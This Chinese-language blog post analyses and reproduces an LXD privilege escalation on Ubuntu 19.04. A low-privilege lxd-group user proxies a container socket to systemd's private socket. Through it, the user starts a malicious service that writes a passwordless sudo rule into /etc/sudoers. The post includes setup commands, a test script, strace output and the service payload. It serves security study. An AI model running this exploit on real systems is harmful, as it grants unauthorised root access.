Linux lxd提权漏洞分析利用

 

作者这篇博客核心在于利用的方式,比较新颖,不逐句翻译,保证将核心的点介绍清楚,并复现整个利用过程。

lxc(Linux container),Linux自带的容器;

lxd,简单地说,LXD 就是一个提供了 REST API 的 LXC 容器管理器

其中Ubuntu 19.04 server自带lxd,来扩展lxc的命令;

具体关于lxc和lxd可以参考【1】【2】

概述:

LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器(container)、启动等等操作。它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。

例如:一个低权限的用户能够创建一个用于host和container通信的socket,当将host中已经创建的一个socket和container绑定后,它们之间的连接通信会以LXD服务的凭证(root权限)而不是调用用户的凭证;所以当container中发送socket和host通信时,此时host端的socket则是root权限。所以关键就是怎么在一个得到一个root socket时实现提权,这也是这篇博客注重点。

环境搭建&PoC验证:

因为ubuntu 19.04 server是默认安装了lxd的,所以采用这个环境,基于VMWare搭建。(其中Mac上多个ubuntu Server terminal的切换是,control+command+f1/f2/f3…)。前提就是必须有一个处于lxd用户组的用户,使用exp lxd_rootv2.py将其提升到root权限。

所以环境搭建,首先创建一个处于lxd用户组的低权限用户。按照博客上面的流程,我这里为了方便,创建了一个llxd的用户,在lxd用户组,

权限很低,是无法sudo的。

此时基本环境是ok的,只要能够拿到这么一个llxd用户,就能够提权。

在该用户下创建一个container,是不需要额外的权限的。创建ubuntu18.04容器,名称是fal。

lxc launch ubuntu:18.04 fal

创建成功:

PoC验证:

首先尝试在正常环境下,即llxd用户下开启一个socket监听,然后去nc连接,查看此时socket的权限。

socket的监听代码如下:

##!/usr/bin/env python3 """ Echo peercreds in connections to a UNIX domain socket """ 
import socket import struct def main(): """Echo UNIX peercreds""" 
listen_sock = '/tmp/echo.sock' sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
 sock.bind(listen_sock) sock.listen() while True: print('waiting for a connection')
  connection = sock.accept()[0] peercred = connection.getsockopt(socket.SOL_SOCKET,
   socket.SO_PEERCRED, struct.calcsize("3i")) pid, uid, gid = struct.unpack("3i", 
   peercred) print("PID: {}, UID: {}, GID: {}".format(pid, uid, gid)) 
   continue if __name__ == '__main__': main()

自己在server上省略敲了一遍,测试结果如下,正常的用户权限。

此时尝试从container中去nc来和host通信,这里不是单纯的监听和发送,需要经过lxd server。首先配置通信网络:

lxc config device add fal proxy_sock
proxy connect=unix:/tmp/echo.sock listen=unix:/tmp/proxy.sock
bind=container mode=0777

通过lxd来增加一个代理socket(proxy_sock)来帮助container和host之间的通信,上面的命令大致意思是:给叫fal的容器增加一个proxy_sock,绑定在container上,container上是/tmp/proxy.sock在监听,然后收到数据后连接到host上的/tmp/echo.sock,其实就是相当于一个代理的作用。

所以我们在容器里往/tmp/proxy.sock发送,那么host上监听/tmp/echo.sock就能拿到数据。

然后,创建一个容器用户,登录进去,就能在容器中.

lxc exec falcor -- sudo --user ubuntu --login

上面的结果说明了从container中发出的通信,是能够拿到root socket的。

利用:
作者首先查看在host上面都有哪些socket在监听着,然后发现了一个看起来比较有意思的socket,/run/systemd/private

lowpriv@server:~$ ss -xlp
-- snip --
Local Address:Port
/run/systemd/private

然后通过查看文档寻找该socket的功能:

Used internally as communication channel between systemctl(1) and the systemd process. This is an AF_UNIX stream socket. This interface is private to systemd and should not be used in external projects.

简单来看就是systemctl和systemd进行交互用的socket,我们知道systemctl的功能很强大,能够启动服务、终止服务等等;而执行systemctl命令核心就是在使用socket和systemd进行通信,那么只需要知道发送的socket包是什么,那么就能够直接发送socket包来执行systemctl命令了。

作者使用strace来得到systemctl执行时候的输出,以判断究竟发送了哪些socket包。以执行restart ssh为例。

ubuntu@server:~$ sudo strace -ff -s 20000 systemctl restart ssh 2> strace-out

得到的输出信息有(过滤出sendmsg信息):

sendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="AUTH EXTERNAL ", iov_len=15},
{iov_base="30", iov_len=2}, {iov_base="rnNEGOTIATE_UNIX_FDrnBEGINrn", iov_len=28}],
msg_iovlen=3, msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 45-- snip --
sendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="l14134124011o
031/org/freedesktop/systemd131svRestartUnit21s org
.free desktop.systemd1.Manager61s30org.freedesktop.systemd1
0101g2ss", iov_len=176}, {iov_base="vssh.service7replace", iov_len=28}], ms
g_iovlen=2, ms g_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 204

因此作者的利用流程是:那么执行systemctl restart ssh命令就和发送的socket包对应起来了。那么我们在拿到了root socket后,理论上是能够执行任意的systemctl命令的,所以作者的利用就是构建一个evil service,然后利用systemctl启动它,所以任意代码执行。

1. 构建一个evil service, /tmp/evil.service,里面放置shellcode
2. 使用lxd添加一个代理socket,将container socket和/run/systemd/private socket对应映射起来
3. 使用lxd添加一个代理socket,将container socket和host socket对应映射起来
4. 通过构建合理的socket包,来启动evil service,作者这里是执行:

  • systemctl link /tmp/evil.service

  • systemctl daemon-reload

  • systemctl start evil.service

  • systemctl disable evil.service

最后对应exp,systemctl命令和对应的socket 包。

shellcode:

user_name = getpass.getuser()
svc_content = ('[Unit]n''Description=evil servicen''[Service]n''Type=oneshotn''ExecStart=/bin/sh -c 
"echo {} ALL=(ALL) NOPASSWD: ALL''>> /etc/sudoers"n''[Install]n''WantedBy=multi-user.targetn'.format(user_name))

最后看看数据的传输过程:就是给当前用户一个使用sudo的权限,且不需要密码。

socket代理,传输流程,因为是container到host的socket传输得到root socket,而目前是在host里面执行代码;所以发送的socket数据由host传到container,然后再由container传到systemd socket以root执行systemctl命令。

下图中第一个是由container 传到systemd socket;第二个是由host传到container socket。



运行利用代码:

 

最后:

LXD Team认为使用lxd用户组就默认是可以拿到root权限的,所以只是更新了文档来提醒使用者,并没有代码层面的更新,所以最新的ubuntu19.04 server下还是能够复现的。


发表评论 取消回复

电子邮件地址不会被公开。 必填项已用*标注